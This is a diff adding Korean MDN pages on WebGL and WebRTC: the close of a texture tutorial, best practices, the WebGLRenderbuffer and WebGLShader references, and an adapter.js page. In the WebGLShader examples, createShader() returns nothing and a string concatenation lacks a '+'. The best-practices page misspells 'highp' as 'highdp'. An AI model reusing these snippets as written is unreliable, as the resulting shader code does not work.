+<p>그 다음 두 라인은 텍스쳐를 위한 필터링을 준비합니다. 이 필터링은 이미지 크기가 변경될 때 이미지가 필터되는 방식을 제어합니다. 여기에서는 이미지를 확대할 때 선형 필터링을 사용하고, 이미지를 축소할 때 mipmap을 사용합니다. <span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;">generateMipMap()</span>을 호출해서 mipmap이 만들어지면 <span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;">gl.TEXTURE_2D</span>에 null을 바인딩시켜서, 텍스쳐를 다룰 준비가 끝났다는 것을 <span style="line-height: 16.7999992370605px;">WebGL에게 </span>알려줍니다.</p>
+
+<h3 id="크기가_2의_거듭제곱이_아닌_텍스쳐">크기가 2의 거듭제곱이 아닌 텍스쳐</h3>
+
+<p>일반적으로 너비와 높이가 2의 거듭제곱인 텍스쳐를 사용하는 것이 가장 이상적입니다. 왜냐하면 2의 거듭제곱인 텍스쳐는 비디오 메모리에 효율적으로 저장될 수 있고, 어떤 방식으로 사용되어야만 한다는 제약이 없기 때문입니다. 예술가들이 이미 작성한 텍스쳐는 너비와 높이가 2의 거듭제곱이 되도록 크기를 맞춰줘야 하며, 가능하다면 아예 만들때부터 2의 거듭제곱으로 만드는 것이 좋습니다. 너비와 높이는 2의 거듭제곱인 <span style="line-height: 16.7999992370605px;">1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 또는 2048 픽셀이어야 합니다. 전부는 아니지만 많은 디바이스가 4096 픽셀도 지원하고 있으며, 어떤 디바이스는 8192 픽셀 이상을 지원하기도 합니다.</span></p>
+
+<p>2의 거듭제곱인 텍스쳐를 사용하기 곤란한 상황도 있을 수 있습니다. 텍스쳐의 소스가 되는 이미지를 써드파티에서 구한 것이라면, WebGL에 전달하기 전에 HTML5 캔버스를 이용해서 이미지 크기를 2의 거듭제곱으로 수정하는 것이 좋습니다. 이 때 UV 좌표값도 함께 조정해야 합니다.</p>
+
+<p>2의 거듭제곱이 아닌(NPOT, Non Power Of Two) 텍스쳐를 <strong>꼭 써야만 하는</strong> 상황도 있을 것입니다. WebGL은 NPOT 텍스쳐도 제한적으로 지원합니다. 텍스쳐의 크기가 모니터 해상도와 똑같아야만 한다거나, 위의 단락에서 언급한 것처럼 2의 거듭제곱으로 수정하는 일이 단순히 귀찮을 때는 NPOT 텍스쳐가 유용할 수 있습니다. 하지만 NPOT 텍스쳐에는 제약 사항이 있습니다. NPOT 텍스쳐는 <strong>mipmapping을 할 수 없으며</strong>, 타일(tile) 또는 감싸기(wrap) 처럼 <strong>"반복"하는 방식으로 사용할 수 없습니다</strong>.</p>
+
+<p>몇 개의 벽돌 이미지를 타일링 해서 벽돌로 된 벽을 만드는 것이 텍스쳐 반복의 한 사례 입니다.</p>
+
+<p><code>bindTexture()</code>를 이용해서 텍스쳐를 생성할 때, <code>texParameteri()</code> 메서드로 <span style="line-height: 16.7999992370605px;">mipmapping과 UV 반복을 </span>비활성화 시킬 수 있습니다.  이 비활성화를 통해 mipmapping, UV 감싸기, UV 타일링을 포기하고, 디바이스가 텍스쳐를 어떻게 처리할지 결정할 수 있는 제어권도 포기하는 대신 NPOT 텍스쳐를 사용할 수 있게 됩니다.</p>
+
+<pre>gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); //gl.LINEAR 대신에 gl.NEAREST도 허용되지만, 둘 다 mipmap 될 수 없다.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); //s좌표계 감싸기(반복) 방지
+<span style="line-height: 1.572;">gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); //t좌표계 감싸기(반복) 방지</span></pre>
+
+<p><code style="font-style: normal; line-height: 16.7999992370605px;">texParameteri()</code><span style="line-height: 16.7999992370605px;"> 메서드에 </span>위와 같은 파라미터를 전달함으로써, WebGL을 지원하는 디바이스는 어떤 해상도의 텍스쳐든 처리할 수 있는 최대한의 해상도까지 자동으로 처리할 수 있게 됩니다. 위와 같은 설정을 해주지 않으면 WebGL은 NPOT 텍스쳐를 처리하지 못하고 <code>rgba(0, 0, 0, 1)</code>인 검은색을 반환합니다.</p>
+
+<h2 id="면에_텍스쳐_입히기">면에 텍스쳐 입히기</h2>
+
+<p>이제 텍스쳐 읽어오기는 완료되었고, 텍스쳐도 사용할 준비가 되어 있습니다. 하지만 텍스쳐를 사용하기 전에 텍스쳐의 좌표와 정육면체의 면의 정점을 매핑 시켜줘야 합니다. 이를 위해 <span style="line-height: 16.7999992370605px;"><code>initBuffers()</code> 함수 안에 있던 정육면체 각 면의 색상을 설정하는 내용을 모두 아래와 같은 코드로 대체합니다.</span></p>
+
+<pre class="brush: js">cubeVerticesTextureCoordBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesTextureCoordBuffer);
+
+var textureCoordinates = [
+  // 앞
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 뒤
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 위
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 아래
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 오른쪽
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 왼쪽
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(textureCoordinates),
+              gl.STATIC_DRAW);
+</pre>
+
+<p>먼저 각 면의 텍스쳐 좌표를 저장할 GL 버퍼를 생성하고, 텍스쳐 좌표 배열에 바인딩 합니다.</p>
+
+<p><code style="font-style: normal; line-height: 16.7999992370605px;">textureCoordinates</code><span style="line-height: 16.7999992370605px;"> </span>배열은 정육면체 각 면의 정점에 해당하는 텍스쳐 좌표를 정의합니다. 텍스쳐 좌표값의 범위는 0.0 에서 1.0 사이라는 점을 기억해 주십시오. 텍스쳐 좌표의 너비값과 높이값은 실제 너비값이나 높이값과 관계 없이 언제나 0.0 에서 1.0 사이의 값으로 정규화(normalize) 됩니다.</p>
+
+<p>텍스쳐 매핑 배열 설정이 끝나고 배열을 버퍼에 전달하면 GL이 텍스쳐 데이터를 사용할 수 있게 됩니다.</p>
+
+<div class="note">Note: WebKit 기반의 브라우저에서는 <code>WebGLFloatArray</code> 대신에 <code>Float32Array를 사용해야 합니다.</code> </div>
+
+<h2 id="셰이더_수정">셰이더 수정</h2>
+
+<p>셰이더 프로그램과 셰이더를 초기화하는 코드들도 단색 색상 대신 텍스쳐를 사용할 수 있도록 수정해야 합니다.</p>
+
+<p>먼저 <code>initShaders()</code> 안에 있는 아주 단순한 변경 사항을 알아 봅시다:</p>
+
+<pre class="brush: js">textureCoordAttribute = gl.getAttribLocation(shaderProgram, "aTextureCoord");
+gl.enableVertexAttribArray(textureCoordAttribute);
+</pre>
+
+<p><span style="line-height: 16.7999992370605px;">정점 컬러 attribute 변수를 설정하던 코드가, </span>각 정점의 텍스쳐 좌표값을 설정하는 코드로 대체 되었습니다. </p>
+
+<h3 id="정점_셰이더">정점 셰이더</h3>
+
+<p>다음으로 색상 데이터를 읽어오던 정점 셰이더를 텍스쳐 좌표를 읽어오도록 수정해야 합니다.</p>
+
+<pre class="brush: html">&lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+  attribute vec3 aVertexPosition;
+  attribute vec2 aTextureCoord;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  varying highp vec2 vTextureCoord;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vTextureCoord = aTextureCoord;
+  }
+&lt;/script&gt;
+</pre>
+
+<p>정점 색상 정보를 읽어오는 대신에 텍스쳐 좌표값을 읽어와서 설정한다는 점이 키 포인트 입니다. 위와 같이 정점과 텍스쳐 좌표값을 매핑하면, 각 정점이 텍스쳐의 어느 지점에 해당 하는지 알려줄 수 있습니다.</p>
+
+<h3 id="프래그먼트_셰이더">프래그먼트 셰이더</h3>
+
+<p>마찬가지로 프래그먼트 셰이더도 수정해야 합니다:</p>
+
+<pre class="brush: html">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+  varying highp vec2 vTextureCoord;
+
+  uniform sampler2D uSampler;
+
+  void main(void) {
+    gl_FragColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+  }
+&lt;/script&gt;
+</pre>
+
+<p>이렇게 하면 프래그먼트의 색상을 정하기 위해 직접 프래그먼트에 색상값을 할당하지 않고, 샘플러(sampler)가 판단하기에 프래그먼트의 위치에 가장 잘 맞아 떨어진다고 여겨지는 <strong>텍셀(texel, 텍스쳐 내부에 있는 픽셀)</strong>값에 따라서 <span style="line-height: 16.7999992370605px;">프래그먼트의 색상값을 계산해냅니다.</span></p>
+
+<h2 id="텍스쳐를_입힌_정육면체_그리기">텍스쳐를 입힌 정육면체 그리기</h2>
+
+<p>텍스쳐를 입힌 상태를 더 명확하게 확인할 수 있도록, 앞 단원의 예제에 포함되어 있던 정육면체의 이동을 제거한 것을 제외하면 drawScene() 함수의 수정은 간단합니다.</p>
+
+<p>정점에 색상을 매핑하던 코드를 다음과 같이 면에 텍스쳐를 매핑하는 코드로 대체합니다:</p>
+
+<pre class="brush: js">gl.activeTexture(gl.TEXTURE0);
+gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+gl.uniform1i(gl.getUniformLocation(shaderProgram, "uSampler"), 0);
+</pre>
+
+<p>GL은 32개의 텍스쳐 레지스터를 제공합니다. 그 중 첫번째 레지스터는 <code>gl.TEXTURE0</code> 입니다. 텍스쳐를 사용하기 위해 전에 읽어온 텍스쳐를 <span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;">gl.TEXTURE0</span>에 바인딩하고, 셰이더 샘플러를 셰이더 프로그램에 명시되어 있는 <code>uSampler</code>로 설정합니다.</p>
+
+<p>이제 앞 단원의 예제보다 더 보기 좋게 회전하는 정육면체를 볼 수 있을 것입니다. WebGL을 지원하는 브라우저라면 <a href="/samples/webgl/sample6/index.html">여기</a>에서 실제 동작하는 예제를 확인할 수 있습니다.</p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/webgl_best_practices/index.html b/files/ko/web/api/webgl_api/webgl_best_practices/index.html
new file mode 100644
index 0000000000..41f0bb7537
--- /dev/null
+++ b/files/ko/web/api/webgl_api/webgl_best_practices/index.html
@@ -0,0 +1,46 @@
+---
+title: WebGL best practices
+slug: Web/API/WebGL_API/WebGL_best_practices
+translation_of: Web/API/WebGL_API/WebGL_best_practices
+---
+<p>{{WebGLSidebar}}</p>
+
+<p>이 기사는 당신의 WebGL 콘텐트 질을 향상시키기 위한 제안과 팁을 제시합니다. 다음의 제안들을 따르면,  당신의 웹 애플리케이션이 더 많은 장치들과 브라우저들과의 호환성을 높일 수 있을 뿐만 아니라, 성능도 향상시킬 수 있게 도와줍니다.</p>
+
+<h2 id="피해야_할_것들">피해야 할 것들</h2>
+
+<ul>
+ <li>당신의 웹 애플리케이션이 getError()가 리턴한 어떠한 WebGL 에러도 생성하지 않도록 항상 확실시 하세요.</li>
+ <li>당신은 WebGL 셰이더에서 절대로 #ifdef GL_ES를 사용해선 안 됩니다; 비록 초기의 몇몇 예제들은 이를 사용했더라도, 이제는 꼭 필요하지 않습니다. 왜냐하면 이 조건은 WebGL 셰이더에서 항상 참이기 때문입니다.</li>
+ <li>프래그먼트 셰이더에서 highdp 정밀도를 사용하는 것은 당신의 콘텐트가 몇몇의 구식 모바일 하드웨어에서 작동하는 것을 방해할 것입니다. 대신에 mediump를 사용할 수 있습니다. 하지만 이것은 종종 정밀도의 부족 때문에 대부분의 모바일 장치에서 오염된 렌더링을 초래합니다. 그리고 그 오염은 전형적인 데스크톱 컴퓨터에서는 보이지 않을 것입니다. 일반적으로, 셰이더가 다양한 플랫폼에서 철저하게 테스트되지 않았다면 정점, 프래그먼트 셰이더에서는 오직 highdp만 사용하는 것이 더 안전합니다. WebGL getShaderPrecisionFormat() 함수가 구현된 Firefox11에서 시작하는 것은  당신이 highdp 정밀도가 지원되는지 검사하도록 허용하고, 더 일반적으로, 지원되는 모든 정밀도 한정자의 실제 정밀도를 조회할 수 있게 해줍니다.</li>
+</ul>
+
+<h2 id="마음에_새겨야_할_것들">마음에 새겨야 할 것들</h2>
+
+<ul>
+ <li>몇몇의 WebGL의 능력들은 클라이언트에 의존합니다. 그들에게 의존하기 전에, 당신은 WebGL getParameter() 함수를 사용해서 클라이언트 측에서 무슨 값들이 지원되는지 결정해야 합니다. 예를 들면, 2D 텍스처의 최대 크기는 webgl.getParameter(webgl.MAX_TEXTURE_SIZE)로 주어집니다. Firefox10에서의 <code>webgl.min_capability_mode</code> preference는 이식성 검사를 위해 능력의 최소한의 값들을 시뮬레이팅 하도록 허락해 줍니다.</li>
+ <li>In particular, note that usage of textures in vertex shaders is only possible if <code>webgl.getParameter(webgl.MAX_VERTEX_TEXTURE_IMAGE_UNITS)</code> is greater than zero. Typically, this fails on current mobile hardware.</li>
+ <li>The availability of most WebGL extensions depends on the client. When using WebGL extensions, if possible, try to make them optional by gracefully adapting to the case there they are not supported. Starting in Firefox 10, the <code>webgl.disable-extensions</code> preference allows simulating the absence of all extensions, to test portability.</li>
+ <li>Rendering to a floating-point texture may not be supported, even if the <code>OES_texture_float</code> extension is supported. Typically, this fails on current mobile hardware. To check if this is supported, you have to call the WebGL <code>checkFramebufferStatus()</code> function.</li>
+ <li>Rendering to a canvas can be done at a different resolution than the style sheet will eventually force the canvas to appear at. If struggling with performance you should consider rendering to a low resolution WebGL context and using CSS to upscale its canvas to the size you intend.</li>
+</ul>
+
+<h2 id="일반적인_성능_팁들">일반적인 성능 팁들</h2>
+
+<ul>
+ <li>Anything that requires syncing the CPU and GPU sides is potentially very slow, so if possible you should try to avoid doing that in your main rendering loops. This includes the following WebGL calls: <code>getError()</code>, <code>readPixels()</code>, and <code>finish()</code>. WebGL getter calls such as <code>getParameter()</code> and <code>getUniformLocation()</code> should be considered slow too, so try to cache their results in a JavaScript variable.</li>
+ <li>Fewer, larger draw operations will improve performance. If you have 1000 sprites to paint, try to do it as a single <code>drawArrays()</code> or <code>drawElements()</code> call. You can draw degenerate (flat) triangles if you need to draw discontinuous objects as a single <code>drawArrays()</code> call.</li>
+ <li>Fewer state changes will also improve performance. In particular, if you can pack multiple images into a single texture and select them by using the appropriate texture coordinates, that can help you do fewer texture binding changes, which improves performance.
+  <ul>
+   <li>In some rare cases, packing greyscale textures which belong together into the color channels of a single texture might help.</li>
+  </ul>
+ </li>
+ <li>Smaller textures perform better than larger ones. For this reason, mipmapping can be a performance win.</li>
+ <li>Simpler shaders perform better than complex ones. In particular, if you can remove an <code>if</code> statement from a shader, that will make it run faster. Division and math functions like <code>log()</code> should be considered expensive too.
+  <ul>
+   <li>However, nowadays even mobile devices possess powerful GPUs that are capable of running even relatively complex shader programs. Moreover, because shaders are compiled, the eventual machine code that actually runs on the hardware may be highly optimized. What may seem like an expensive function call may in fact compile into only few (or even a single) machine instructions. This is particularly true for {{Glossary("GLSL")}} functions that typically operate on vectors, such as <code>normalize()</code>, <code>dot()</code> and <code>mix()</code>. The best advice in that regard is to use the built-in functions, rather than try to implement, for example, one's own version of a dot-product or linear interpolation, which may in fact compile to larger and less optimized machine code. Finally, it is important to keep in mind that GPUs are constructed to do complex mathematical calculations in hardware, and therefore, may support math functions, such as <code>sin()</code>, <code>cos()</code> and other, through dedicated machine instructions.</li>
+  </ul>
+ </li>
+ <li>Do as much as you can in the vertex shader, rather than in the fragment shader. Because, per rendering pass, fragment shaders run many more times than vertex shaders, any calculation that can be done on the vertices and then just interpolated among fragments is a performance boon (this interpolation is done "automagically" for you, through the fixed functionality rasterization phase of the OpenGL pipeline). For example, a simple animation of a textured surface can be achieved through a time-dependent transformation of texture coordinates (simplest case is to add a uniform vector to the texture coordinates attribute vector). If visually acceptable, one can transform the texture coordinates in the vertex shader rather than in the fragment shader, to get better performance.</li>
+ <li>Always have vertex attrib 0 array enabled. If you draw with vertex attrib 0 array disabled, you will force the browser to do complicated emulation when running on desktop OpenGL (e.g. on Mac OSX). This is because in desktop OpenGL, nothing gets drawn if vertex attrib 0 is not array-enabled. You can use <code>bindAttribLocation()</code> to force a vertex attribute to use location <code>0</code>, and use <code>enableVertexAttribArray()</code> to make it array-enabled.</li>
+</ul>
diff --git a/files/ko/web/api/webglrenderbuffer/index.html b/files/ko/web/api/webglrenderbuffer/index.html
new file mode 100644
index 0000000000..6cd95fc536
--- /dev/null
+++ b/files/ko/web/api/webglrenderbuffer/index.html
@@ -0,0 +1,64 @@
+---
+title: WebGLRenderbuffer
+slug: Web/API/WebGLRenderbuffer
+tags:
+  - 레퍼런스
+  - 웹지엘
+translation_of: Web/API/WebGLRenderbuffer
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong>WebGLRenderbuffer</strong> 인터페이스는 <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> 의 부분입니다. 그리고 이미지를 담거나 렌더링 연산의 소스나 타겟이 될 수 있는 버퍼를 말합니다. </p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>WebGLRenderbuffer</code> 오브젝트는 메소드나 프로퍼티를 정의 하지 않으며 직접적으로 접근할 수 없습니다.  When working with <code>WebGLRenderbuffer</code> 오브젝트와 작업하려면 다음의 {{domxref("WebGLRenderingContext")}} 메소드가 도움이 될 것입니다. </p>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindRenderbuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createRenderbuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteRenderbuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isRenderbuffer()")}}</li>
+</ul>
+
+<h2 id="예">예</h2>
+
+<h3 id="렌더_버퍼_만들기">렌더 버퍼 만들기</h3>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createRenderbuffer();
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.7", "WebGLRenderbuffer")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WebGLRenderbuffer")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindRenderbuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createRenderbuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteRenderbuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isRenderbuffer()")}}</li>
+ <li>Other buffers: {{domxref("WebGLBuffer")}}, {{domxref("WebGLFramebuffer")}}</li>
+</ul>
diff --git a/files/ko/web/api/webglshader/index.html b/files/ko/web/api/webglshader/index.html
new file mode 100644
index 0000000000..b1bce2dc08
--- /dev/null
+++ b/files/ko/web/api/webglshader/index.html
@@ -0,0 +1,171 @@
+---
+title: WebGLShader
+slug: Web/API/WebGLShader
+translation_of: Web/API/WebGLShader
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<div><strong>WebGLShader</strong> 는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API">WebGL API</a> 의 일부이며 정점 혹은 프래그먼트 셰이더가 될 수 있다. {{domxref("WebGLProgram")}} 는 두 타입의 셰이더 모두를 요구한다.</div>
+
+<div> </div>
+
+<h2 id="설명">설명</h2>
+
+<p><strong>WebGLShader</strong> 를 생성하려면 {{domxref("WebGLRenderingContext.createShader")}}를 사용한다. 그러고 나서는  {{domxref("WebGLRenderingContext.shaderSource()")}}를 사용해서 GLSL 소스 코드를 연결한다. 마지막으로{{domxref("WebGLRenderingContext.compileShader()")}}를 호출하고 셰이더를 컴파일한다. 이 시점에서 <strong>WebGLShader</strong> 는 여전히 사용할 수 있는 형식은 아니고{{domxref("WebGLProgram")}}에 부착되어야 한다.</p>
+
+<pre class="brush: js">function createShader (gl, sourceCode, type) {
+  // 셰이더 타입 gl.VERTEX_SHADER 또는 gl.FRAGMENT_SHADER 중 하나를 컴파일한다.
+  var shader = gl.createShader( type );
+  gl.shaderSource( shader, sourceCode );
+  gl.compileShader( shader );
+
+  if ( !gl.getShaderParameter(shader, gl.COMPILE_STATUS) ) {
+    var info = gl.getShaderInfoLog( shader );
+    throw "Could not compile WebGL program. \n\n" + info;
+  }
+}
+</pre>
+
+<p>셰이더 부착에 관한 정보는 {{domxref("WebGLProgram")}} 를 참고한다.</p>
+
+<h2 id="예시들">예시들</h2>
+
+<h3 id="정점_셰이더_생성하기">정점 셰이더 생성하기</h3>
+
+<p>셰이더 소스 코드 문자열들을 작성하고 접근하는 많은 다른 방법들이 있다는 점에 주목하라. 여기의 예는 오직 설명을 목적으로 한다.</p>
+
+<pre class="brush: js">var vertexShaderSource =
+  "attribute vec4 position;\n"
+  "void main() {\n"+
+  "  gl_Position = position;\n"+
+  "}\n";
+
+// 위 예시로부터 createShader 함수를 사용한다.
+var vertexShader = createShader(gl, vertexShaderSource, gl.VERTEX_SHADER)
+</pre>
+
+<h3 id="프래그먼트_셰이더_생성하기">프래그먼트 셰이더 생성하기</h3>
+
+<pre class="brush: js">var fragmentShaderSource =
+  "void main() {\n"+
+  "  gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);\n"+
+  "}\n";
+
+// 위 예시로부터 createShader 함수를 사용한다.
+var fragmentShader = createShader(gl, fragmentShaderSource, gl.FRAGMENT_SHADER)
+</pre>
+
+<h2 id="명세들">명세들</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.8", "WebGLShader")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("9")}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatOpera("12")}}</td>
+   <td>{{CompatSafari("5.1")}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(44)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>25</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12</td>
+   <td>8.1</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature is behind a feature preference setting. In about:config, set <code>gfx.offscreencanvas.enabled</code> to <code>true</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("WebGLProgram")}}</li>
+ <li>{{domxref("WebGLRenderingContext.attachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.bindAttribLocation()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compileShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.detachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.shaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.useProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+</ul>
diff --git a/files/ko/web/api/webrtc_api/adapter.js/index.html b/files/ko/web/api/webrtc_api/adapter.js/index.html
new file mode 100644
index 0000000000..95b8400d3d
--- /dev/null
+++ b/files/ko/web/api/webrtc_api/adapter.js/index.html
@@ -0,0 +1,40 @@
+---
+title: Improving compatibility using WebRTC adapter.js
+slug: Web/API/WebRTC_API/adapter.js
+translation_of: Web/API/WebRTC_API/adapter.js
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>WebRTC <a href="http://www.w3.org/TR/webrtc/">사양</a>은 비교적 인정적이지만, 모든 브라우저가 모든 기능이 구현되어 있는 것은 아니다. 또한, 일부 브라우저는 여전히 일부 혹은 모든 WebRTC API에 접두사가 붙어 있는상황이다. 이러한 문제에 대해 수동적으로 코딩을 할 수 있지만, 더 쉬운 방법이 있다.WebRTC 단체는 다른 브라우저의 WebRTC 구현에서 호환성 문제를 해결하기 위해<span class="seoSummary"> <a href="https://github.com/webrtc/adapter/">WebRTC 어댑터를 GitHub에서 제공한다.</a> 어댑터는 WebRTC가 지원되는 모든 브라우저에서 "그냥 작동"되도록 당신이 작성한 코드가 사양에 적합하도록 해 주는 JavaScript 코드 모음이다. 더이상 접두사 API를 조건부로 사용하거나 다른 해결 방법을 구현할 필요가 없다.</span></p>
+
+<div class="note">
+<p><strong>참고:</strong> WebRTC 및 지원 브라우저에서 API 용어의 기능과 이름 지정이 지속적으로 변경되고 있기 때문에, 일반적으로 이 어댑터의 사용을 권장한다.</p>
+</div>
+
+<p>이 어댑터는 <a href="https://github.com/webrtc/adapter/blob/master/LICENSE.md">BSD 스타일 라이선스</a>로 제공된다.</p>
+
+<h2 id="What_adapter.js_does">What adapter.js does</h2>
+
+<p>For each version of each browser that supports WebRTC, adapter.js implements the needed polyfills, establishes the non-prefixed names of APIs, and applies any other changes needed to make the browser run code written to the WebRTC specification.</p>
+
+<p>For example, on Firefox versions older than 38, the adapter adds the {{domxref("RTCPeerConnection.urls")}} property; Firefox doesn't natively support this property until Firefox 38, while on Chrome, the adapter adds support for the {{jsxref("Promise")}} based API is added if it's not present. These are just a couple of examples; there are of course other adjustments made for you by the shim.</p>
+
+<p>The WebRTC adapter currently supports Mozilla Firefox, Google Chrome, Apple Safari, and Microsoft Edge.</p>
+
+<h2 id="Using_adapter.js">Using adapter.js</h2>
+
+<p>In order to use adapter.js, you need to include adapter.js on any page that uses WebRTC APIs:</p>
+
+<ol>
+ <li>Download a copy of the <a href="https://github.com/webrtc/adapter/tree/master/release">latest version of adapter.js</a> from GitHub.</li>
+ <li>Place it in your site's directory structure (such as in your scripts directory).</li>
+ <li>Include adapter.js in your project: <code>&lt;script src="adapter.js"&gt;&lt;/script&gt;</code></li>
+ <li>Write your code, using WebRTC APIs per the specification, knowing that your code should work on all browsers.</li>
+ <li>Keep in mind that even a good shim like this one doesn't mean you don't need to test your code on different browsers (and ideally different versions of each browser).</li>
+</ol>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://github.com/webrtc/adapter">The WebRTC adapter project on GitHub</a></li>
+</ul>
diff --git a/files/ko/web/api/webrtc_api/index.html b/files/ko/web/api/webrtc_api/index.html
new file mode 100644
index 0000000000..6ecafcfd84
--- /dev/null
